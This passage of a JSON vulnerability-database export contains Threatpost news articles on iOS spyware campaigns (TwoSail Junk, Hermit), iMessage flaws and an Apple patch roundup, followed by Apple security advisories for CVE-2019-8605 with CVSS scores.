set about harvesting and exfiltrating contacts, text messages, the user\u2019s location and the names of stored files, researchers said.\n\nThe new iOS campaign and the older Android campaign are linked via their infrastructure, according to the Trend Micro analysis: The Android download and C2 servers used the same domain name (hkrevolution[.]club) as one of the watering holes used by the iOS component.\n\n**Atrribution**\n\nWhile Kaspersky is calling the APT group behind the effort \u201cTwoSail Junk,\u201d researchers there said that the operators are likely tied to other, well-known threat actors.\n\n\u201cWe have hints from known backdoor callbacks to infrastructure about clustering this campaign with previous activity,\u201d according to the firm\u2019s analysis. \u201cAnd we are working with colleagues to tie LightRiver with prior activity from a long running Chinese-speaking APT group, previously reported on as Spring Dragon/Lotus Blossom/Billbug(Thrip), known for their Lotus Elise and Evora backdoor malware.\u201d\n\nFor instance, further technical analysis by Kaspersky of the previous Android campaign showed there to be two subzones of the URL used for serving the malicious apps.\n\n\u201cResolving for C2 resources, we worked with partners to pivot into a handful of \u201cevora\u201d malware samples\u2026that [also] use poorgoddaay[.]com subzones for their C2,\u201d Kaspersky noted. \u201cThese new evora backdoors are 99 percent similar as rated by our Kaspersky Threat Attribution Engine to evora backdoors previously deployed by SpringDragon.\u201d\n\nThe researchers said they also saw other evora malware samples calling back to these same subnets while targeting specific organizations in Hong Kong \u2013 lending further credence to the idea that TwoSail Junk is affiliated with SpringDragon.\n\n\u201cThis particular framework and infrastructure is an interesting example of an agile approach to developing and deploying surveillance framework in Southeast Asia,\u201d according to the Kaspersky analysis. \u201cThis innovative approach is something we have seen before from SpringDragon, and LightRiver targeting geolocation at least falls within previous regional targeting of SpringDragon/LotusBlossom/Billbug APT, as does infrastructure and evora backdoor use.\u201d\n\nFor its part, Trend Micro researchers agree that the evidence points to a sophisticated attacker.\n\n\u201cIt is safe to say this is not a financially motivated campaign,\u201d Gamazo Sanchez told Threatpost. \u201cThere are indicators that this form of attack can be considered sophisticated: Attacks targeting iOS is relatively uncommon over the years given the stringent measures built in in these devices; uses of \u2018silent patches\u2019 makes it difficult to find and track known and addressed bugs; an added layer of sophistication is seen with the customization attackers used to match the model and iOS version of the target devices.\u201d\n\nHe added that while the campaign, which Trend Micro calls Operation Poison News, is focused on Hong Kong for now, investigations are ongoing into the operators\u2019 future plans. Kaspersky also said that there\u2019s evidence that other versions of the backdoor are under development.\n\n\u201cThe userConfig variable indicates other possible platforms that may have been targeted by the same actors, such as Linux, Windows and routers,\u201d according to the analysis.\n\n[](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\n\n_**Do you suffer from Password Fatigue? On [Wednesday April 8 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) join **_**_Duo Security and Threatpost as we explore a [passwordless](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) future. This [FREE](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) webinar maps out a future where modern authentication standards like WebAuthn significantly reduce a dependency on passwords. We\u2019ll also explore how teaming with Microsoft can reduced reliance on passwords. [Please register here](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) and dare to ask, \u201c[Are passwords overrated?](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\u201d in this sponsored webinar. _**\n", "cvss3": {}, "published": "2020-03-26T17:49:40", "type": "threatpost", "title": "Emerging APT Mounts Mass iPhone Surveillance Campaign", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-8605"], "modified": "2020-03-26T17:49:40", "id": "THREATPOST:DCE54029E2039178B6F2685D0BF8C518", "href": "https://threatpost.com/emerging-apt-mounts-mass-iphone-surveillance-campaign/154192/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-06-10T21:53:48", "description": "Over 90 percent of Apple iPhone users \u2014 consumer and enterprise \u2014 are still vulnerable to bugs in iOS that can be remotely exploited without any user interaction via the iMessage client. These could reveal pictures, videos, notes, PDFs and so on stored on the phone.\n\nThough Apple has fully patched five of six critical flaws revealed earlier this week by Google\u2019s Project Zero with the 12.4 iOS update, as of August 1 only 9.6 percent of enterprise devices have been updated, according to Dan Cuddeford, senior director of systems engineering at Wandera.\n\nAs Threatpost [previously reported](<https://threatpost.com/apple-imessage-remote-attackersread-iphone-messages/146789/>), the most severe of the bugs are CVE-2019-8624 and CVE-2019-8646, which allow an attacker to read files off an iOS device remotely, without any interaction from the victim.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThe exploit initiates a dump of the victim\u2019s iMessage database and compromises the iOS sandbox, putting files on the device at risk,\u201d explained Cuddeford, in a [post on Thursday](<https://www.wandera.com/mobile-security/imessage-vulnerability/>). \u201cThis vulnerability calls into question the integrity of iOS sandboxing, which is one of the most significant fundamentals of the entire iOS security model. This iMessage exploit has similar implications to a jailbreak in that the weakness in iMessage exposes the file space on the device.\u201d\n\nThe code to exploit these vulnerabilities is publicly available, he added, so anyone with a MacOS device and the phone number or iMessage account details of a victim could attack and spy on a target: \u201c[This] is very easy for any bad actors to execute. Unlike the recent WhatsApp vulnerability, anyone with intermediate to advanced computing skills can use this code to hack any iPhone which hasn\u2019t been updated.\u201d\n\nWandera testing of the exploit showed that results varied depending on the state of the victim\u2019s device. However, \u201cfor a persistent, malicious actor who knows the iOS file system well, and knows what they\u2019re looking for, it is likely they could gain access to sensitive files outside of iMessage due to the sandbox compromise,\u201d Cuddeford said.\n\nThe patch for iOS was released on July 22, but user notifications haven\u2019t rolled out; iPhone owners need to manually visit the \u201csoftware update\u201d section in the settings area and initiate the download.\n\n\u201cAccording to the data in our network of enterprise devices, only 9.6 percent of devices have been updated to iOS 12.4, as of August 1 \u2013 10 days after the patch was released on July 22 and three days after the vulnerability was disclosed to the public on July 29,\u201d Cuddeford said.\n\n**_Google Project Zero plans to discuss its iMessage bug findings further next week at Black Hat 2019, taking place Aug. 7 and 8 in Las Vegas. Be sure to follow all Black Hat and DEF CON 27 coverage [right here at Threatpost](<https://threatpost.com/category/bh/>)._**\n", "cvss3": {}, "published": "2019-08-02T13:53:12", "type": "threatpost", "title": "90% of Enterprise iPhone Users Open to iMessage Spy Attack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-8624", "CVE-2019-8646"], "modified": "2019-08-02T13:53:12", "id": "THREATPOST:F9C72E526BBB62D96B4E4E624AFFFF54", "href": "https://threatpost.com/90-enterprise-iphone-users-imessage-spy-attack/146899/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-06-24T11:07:31", "description": "Google is warning victims in Kazakhstan and Italy that they are being targeted by Hermit, a sophisticated and modular spyware from Italian vendor RCS Labs that not only can steal data but also record and make calls.\n\nResearchers from Google Threat Analysis Group (TAG) revealed details [in a blog post](<https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/>) Thursday by TAG researchers Benoit Sevens and Clement Lecigne about campaigns that send a unique link to targets to fake apps impersonating legitimate ones to try to get them to download and install the spyware. None of the fake apps were found on either Apple\u2019s or Google\u2019s respective mobile app stores, however, they said.\n\n\u201cWe are detailing capabilities we attribute to RCS Labs, an Italian vendor that uses a combination of tactics, including atypical drive-by downloads as initial infection vectors, to target mobile users on both iOS and Android,\u201d a Google TAG spokesperson wrote in an email to Threatpost sent Thursday afternoon.\n\nAll campaigns that TAG observed originated with a unique link sent to the target that then tries to lure users into downloading Hermit spyware in one of two ways, researchers wrote in the post. Once clicked, victims are redirected to a web page for downloading and installing a surveillance app on either Android or iOS.\n\n\u201cThe page, in Italian, asks the user to install one of these applications in order to recover their account,\u201d with WhatsApp download links specifically pointing to attacker-controlled content for Android or iOS users, researchers wrote.\n\n## **Collaborating with ISPs**\n\nOne lure employed by threat actors is to work with the target\u2019s ISP to disable his or her mobile data connectivity, and then masquerade as a carrier application sent in a link to try to get the target to install a malicious app to recover connectivity, they said.\n\nResearchers outlined in a separate blog post by Ian Beer of [Google Project Zero](<https://googleprojectzero.blogspot.com/>) a case in which they discovered what appeared to be an iOS app from Vodafone but which in fact is a fake app. Attackers are sending a link to this malicious app by SMS to try to fool targets into downloading the Hermit spyware.\n\n\u201cThe SMS claims that in order to restore mobile data connectivity, the target must install the carrier app and includes a link to download and install this fake app,\u201d Beer wrote.\n\nIndeed, this is likely the reason why most of the applications they observed in the Hermit campaign masqueraded as mobile carrier applications, Google TAG researchers wrote.\n\nIn other cases when they can\u2019t work directly with ISPs, threat actors use apps appearing to be messaging applications to hide Hermit, according to Google TAG, confirming what Lookout previously discovered in its research.\n\n## **iOS Campaign Revealed**\n\nWhile Lookout previously shared details of how Hermit targeting Android devices works, Google TAG revealed specifics of how the spyware functions on iPhones.\n\nThey also released details of the host of vulnerabilities\u2014two of which were zero-day bugs when they were initially identified by Google Project Zero\u2014that attackers exploit in their campaign. In fact, Beer\u2019s post is a technical analysis of one of the bugs: [CVE-2021-30983](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30983>) internally referred to as Clicked3 and [fixed](<https://support.apple.com/en-us/HT212976>) by Apple [in December 2021](<https://threatpost.com/apple-ios-updates-iphone-13-jailbreak-exploit/177051/>).\n\nTo distribute the iOS application, attackers simply followed Apple instructions on how to distribute proprietary in-house apps to Apple devices and used the itms-services protocol with a manifest file with com.ios.Carrier as the identifier, researchers outlined.\n\nThe resulting app is signed with a certificate from a company named 3-1 Mobile SRL that was enrolled in the Apple Developer Enterprise Program, thus legitimizing the certificate on iOS devices, they said.\n\nThe iOS app itself is broken up into multiple parts, researchers said, including a generic privilege escalation exploit wrapper which is used by six different exploits for previously identified bugs. In addition to Clieked3, the other bugs exploited are:\n\n * [CVE-2018-4344 ](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-4344>)internally referred to and publicly known as LightSpeed;\n * [CVE-2019-8605](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8605>) internally referred to as SockPort2 and publicly known as SockPuppet;\n * [CVE-2020-3837](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-3837>) internally referred to and publicly known as TimeWaste;\n * [CVE-2020-9907](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9907>) internally referred to as AveCesare; and\n * [CVE-2021-30883](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30883>) internally referred to as Clicked2, [marked](<https://support.apple.com/en-us/HT212846>) as being exploited in-the-wild by Apple in October 2021.\n\nAll exploits used before 2021 are based on public exploits written by different jailbreaking communities, researchers added.\n\n## **Broader Implications**\n\nThe emergence of Hermit spyware shows how threat actors\u2014often working as state-sponsored entities\u2014are pivoting to using new surveillance technologies and tactics following the blow-up over repressive regimes\u2019 use of Israel-based NSO Group\u2019s [Pegasus spyware](<https://threatpost.com/protecting-phones-from-pegasus-like-spyware-attacks/167909/>) in cyberattacks against dissidents, activists and NGOs, as well as the [murders](<https://www.theguardian.com/world/2021/jul/18/nso-spyware-used-to-target-family-of-jamal-khashoggi-leaked-data-shows-saudis-pegasus>) of [journalists](<https://cpj.org/2021/07/pegasus-project-risk-corruption-reporters/>).\n\nIndeed, while use of spyware like Hermit may be legal under national or international laws, \u201cthey are often found to be used by governments for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers and opposition party politicians,\u201d Google TAG researchers wrote.\n\nThe United States [blacklisted](<https://threatpost.com/pegasus-spyware-blacklisted-us/175999/>) NSO Group over the activity, which drew international attention and ire. But it apparently has not stopped the proliferation of spyware for nefarious purposes in the slightest, according to Google TAG.\n\nIn fact, the commercial spyware industry continues to thrive and grow at a significant rate, which \u201cshould be concerning to all Internet users,\u201d researchers wrote.\n\n\u201cThese vendors are enabling the proliferation of dangerous hacking tools and arming governments that would not be able to develop these capabilities in-house,\u201d they said.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-24T11:02:00", "type": "threatpost", "title": "Google Warns Spyware Being Deployed Against Android, iOS Users", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4344", "CVE-2019-8605", "CVE-2020-3837", "CVE-2020-9907", "CVE-2021-30883", "CVE-2021-30983"], "modified": "2022-06-24T11:02:00", "id": "THREATPOST:65CDAAFAA856DA03BD3115E8BC92F1A0", "href": "https://threatpost.com/google-hermit-spyware-android-ios/180062/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-11T11:47:19", "description": "Apple has rolled out 173 patches across in various products across its hardware portfolio, including for dangerous bugs in macOS for laptops and desktops, iPhone, Apple TV and Apple Watch.\n\nThe update also includes a patch for the side-channel vulnerabilities in Intel chips [disclosed on Tuesday](<https://threatpost.com/intel-cpus-impacted-by-new-class-of-spectre-like-attacks/144728/>), which open the door to the attack vectors collectively dubbed \u201cZombieLoad.\u201d\n\nAll Mac laptops stretching back to 2011 are affected by the Intel flaws.\n\n## Side-Channel Flaw\n\nOf particular note in the massive update is a patch for four side-channel bugs that affect the microcode of macOS Mojave 10.14.4 (CVE-2018-12126, CVE-2018-12127, CVE-2018-12130 and CVE-2019-11091).\n\nThese impact load ports, fill buffers, and store buffers in systems with microprocessors utilizing speculative execution. They stem from side-channel vulnerabilities, dubbed Microarchitectural Data Sampling (MDS), impacting all modern Intel chips. Attackers could use speculative execution to potentially leak sensitive data from a system\u2019s CPU.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cAn attacker with local user access to potentially enable information disclosure via a side channel,\u201d according to the [Apple advisory](<https://support.apple.com/en-us/HT210119>). \u201cMultiple information-disclosure issues were addressed partially by updating the microcode and changing the OS scheduler to isolate the system from web content running in the browser.\u201d\n\nThe [four different attack vectors](<https://cpu.fail/>) are dubbed ZombieLoad, Fallout, RIDL (Rogue In-Flight Data Load) and Store-to-Leak Forwarding, and have been detailed and publicly disclosed on Tuesday by an array of security researchers.\n\nTo completely address these issues, there are additional [opt-in mitigations](<https://support.apple.com/kb/HT210107>) to disable hyper threading and enable microcode-based mitigations for all processes by default.\n\n## iOS 12.3 Update (42 Fixes)\n\nApple has also rolled out a [cornucopia of patches](<https://support.apple.com/en-us/HT210118>) for iPhone 5s and later, the iPad Air and later, and the sixth-generation iPod touch.\n\nThe most severe are bugs that are also present in the Apple Watch. These include flaws in the kernel (CVE-2019-8605) that would allow a malicious application to execute arbitrary code with system privileges on a target device. It\u2019s a use-after-free issue that was addressed with improved memory management.\n\nAnother shared flaw with Apple Watch is a use-after-free issue in the Mail Message Framework (CVE-2019-8613), which would allow a remote attacker to cause arbitrary code execution. And in MobileLockdown, a malicious application may be able to gain root privileges thanks to an input validation issue (CVE-2019-8637).\n\nYet another flaw shared with Apple Watch (CVE-2019-8620) would allow a device to be passively tracked by its Wi-Fi MAC address.\n\nAside from these, also interesting is a Lock Screen logic problem (CVE-2019-8599) that would allow a person with physical access to an iOS device to see the email address used for iTunes.\n\nAn input validation bug (CVE-2019-8626) in the Mail function meanwhile could lead to denial of service. An attacker could exploit this by sending the target victim a maliciously crafted mail message.\n\nOther patches address vulnerabilities that could be exploited to achieve everything from privilege escalation and escaping sandboxes to overwriting files and information disclosure.\n\n## Safari 12.1.1 Update (21 Fixes)\n\nApple also patched [multiple flaws](<https://support.apple.com/en-us/HT210123>) in the operating systems that power its Macbooks and desktops: macOS Sierra 10.12.6, macOS High Sierra 10.13.6 and macOS Mojave 10.14.5 are vulnerable. All of the bugs are in WebKit, and they can all be exploited via processing maliciously crafted web content.\n\nOne flaw is an out-of-bounds read vulnerability (CVE-2019-8607); and there are also 20 different memory-corruption issues that may lead to arbitrary code-execution. Apple didn\u2019t provide further details.\n\n## tvOS 12.3 Update (35 Fixes)\n\nThe Apple TV 4K and Apple TV HD platforms meanwhile are [riddled with vulnerabilities;](<https://support.apple.com/en-us/HT210120>) 35 of them in all.\n\nMost of them are memory corruption issues (a total of 20) that could allow arbitrary code-execution via maliciously crafted web content.\n\nAnother two memory bugs (in AppleFileConduit, CVE-2019-8593 and in sysdiagnose, CVE-2019-8574) could allow an application to execute arbitrary code with system privileges.\n\nThree bugs were patched in the kernel: A use-after-free issue (CVE-2019-8605) that could lead to arbitrary code-execution with system privileges; an out-of-bounds read (CVE-2019-8576) that could allow a local user to cause unexpected system termination or read kernel memory; and a type confusion issue (CVE-2019-8591) that could allow an application to cause unexpected system termination or write kernel memory.\n\nAlso notable is an out-of-bounds read that could lead to arbitrary code execution in CoreAudio (CVE-2019-8585); and in MobileLockdown, a malicious application may be able to gain root privileges thanks to an input validation issue (CVE-2019-8637).\n\n## watchOS 5.2.1 Update (21 Fixes)\n\nApple Watch Series 1 and later has [a slew of issues](<https://support.apple.com/en-us/HT210122>), many shared with non-updated versions of iOS.\n\nThe most severe of the bunch include a memory corruption issue CVE-2019-8593 in the AppleFileConduit component that could allow an application to execute arbitrary code with system privileges; and an out-of-bounds read bug (CVE-2019-8585) in CoreAudio allowing a maliciously crafted movie file to lead to arbitrary code execution.\n\nThere are also three vulnerabilities in the kernel: A use-after-free issue (CVE-2019-8605) that would allow a malicious application to execute arbitrary code with system privileges (also fixed in iOS); an out-of-bounds read (CVE-2019-8576) that would allow a local user to cause unexpected system termination or read the kernel memory; and a type confusion issue (CVE-2019-8591) that would allow a malicious application to cause unexpected system termination or write kernel memory.\n\nWatch also suffers from the same use-after-free bug in the Mail Message Framework (CVE-2019-8613) that allows remote code-execution; this is also fixed in the iOS update.\n\nAnd, also fixed is the user-privacy issue present in iOS (CVE-2019-8620) that would allow a device to be passively tracked by its Wi-Fi MAC address.\n\n## Apple TV Software 7.3 Update (3 Fixes)\n\nAnd finally, the third-generation Apple TV has [three vulnerabilities](<https://support.apple.com/en-us/HT210121>), existing in both the Bluetooth and Wi-Fi functions.\n\nAn input validation issue in Bluetooth (CVE-2017-14315) could allow a remote attacker to cause an unexpected application termination or arbitrary code execution. And as for Wi-Fi, an attacker within range may be able to execute arbitrary code on the Wi-Fi chip via a memory corruption problem (CVE-2017-9417), or via a stack buffer overflow (CVE-2017-6975)\n\n## Other Fixes\n\nApple also fixed [50 additional vulnerabilities](<https://support.apple.com/en-us/HT210119>) in macOS Mojave 10.14.5; Security Update 2019-003 High Sierra; Security Update 2019-003 Sierra; macOS Sierra 10.12.6; macOS High Sierra 10.13.6; and macOS Mojave 10.14.4.\n\n**_Want to know more about Identity Management and navigating the shift beyond passwords? Don\u2019t miss _**[**_our Threatpost webinar on May 29 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/8039101655437489665?source=ART>)**_. Join Threatpost editor Tom Spring and a panel of experts as they discuss how cloud, mobility and digital transformation are accelerating the adoption of new Identity Management solutions. Experts discuss the impact of millions of new digital devices (and things) requesting access to managed networks and the challenges that follow._**\n", "cvss3": {}, "published": "2019-05-14T20:31:36", "type": "threatpost", "title": "Apple Patches Intel Side-Channel Bugs; Updates iOS, macOS and More", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-14315", "CVE-2017-6975", "CVE-2017-9417", "CVE-2018-12126", "CVE-2018-12127", "CVE-2018-12130", "CVE-2019-11091", "CVE-2019-8574", "CVE-2019-8576", "CVE-2019-8585", "CVE-2019-8591", "CVE-2019-8593", "CVE-2019-8599", "CVE-2019-8605", "CVE-2019-8607", "CVE-2019-8613", "CVE-2019-8620", "CVE-2019-8626", "CVE-2019-8637"], "modified": "2019-05-14T20:31:36", "id": "THREATPOST:CBFAA2319AF4281EC1DD5C4682601942", "href": "https://threatpost.com/apple-patches-intel-side-channel-ios-macos/144743/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "apple": [{"lastseen": "2021-11-10T17:00:01", "description": "# About the security content of tvOS 12.4.1\n\nThis document describes the security content of tvOS 12.4.1\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## tvOS 12.4.1\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: September 17, 2019\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-08-26T00:00:00", "type": "apple", "title": "About the security content of tvOS 12.4.1", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-26T00:00:00", "id": "APPLE:466BEDED69CFA24057993B0F7E611178", "href": "https://support.apple.com/kb/HT210550", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:42:51", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## macOS Mojave 10.14.6 Supplemental Update\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: macOS Mojave 10.14.6\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n\n\n\nInstalling macOS Mojave 10.14.6 Supplemental Update updates the build number of macOS to 18G95. This build contains the security content described in this article. If you updated to macOS Mojave 10.14.6 and your macOS build is not 18G95, make sure you also install the Supplemental Update. \n\nLearn how to [find the macOS version and build number on your Mac](<https://support.apple.com/kb/HT201260>).\n\nLearn how to [update the software on your Mac](<https://support.apple.com/kb/HT201541>).\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-09-17T06:05:09", "title": "About the security content of macOS Mojave 10.14.6 Supplemental Update - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-09-17T06:05:09", "id": "APPLE:HT210548", "href": "https://support.apple.com/kb/HT210548", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-19T19:30:16", "description": "# About the security content of macOS Mojave 10.14.6 Supplemental Update\n\nThis document describes the security content of macOS Mojave 10.14.6 Supplemental Update.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## macOS Mojave 10.14.6 Supplemental Update\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: macOS Mojave 10.14.6\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n\n\n\nInstalling macOS Mojave 10.14.6 Supplemental Update updates the build number of macOS to 18G95. This build contains the security content described in this article. If you updated to macOS Mojave 10.14.6 and your macOS build is not 18G95, make sure you also install the Supplemental Update. \n\nLearn how to [find the macOS version and build number on your Mac](<https://support.apple.com/kb/HT201260>).\n\nLearn how to [update the software on your Mac](<https://support.apple.com/kb/HT201541>).\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: September 17, 2019\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-08-26T00:00:00", "type": "apple", "title": "About the security content of macOS Mojave 10.14.6 Supplemental Update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-26T00:00:00", "id": "APPLE:94AE87E523DE7DA7141C877658AAFAAF", "href": "https://support.apple.com/kb/HT210548", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:42:33", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 12.4.1\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: 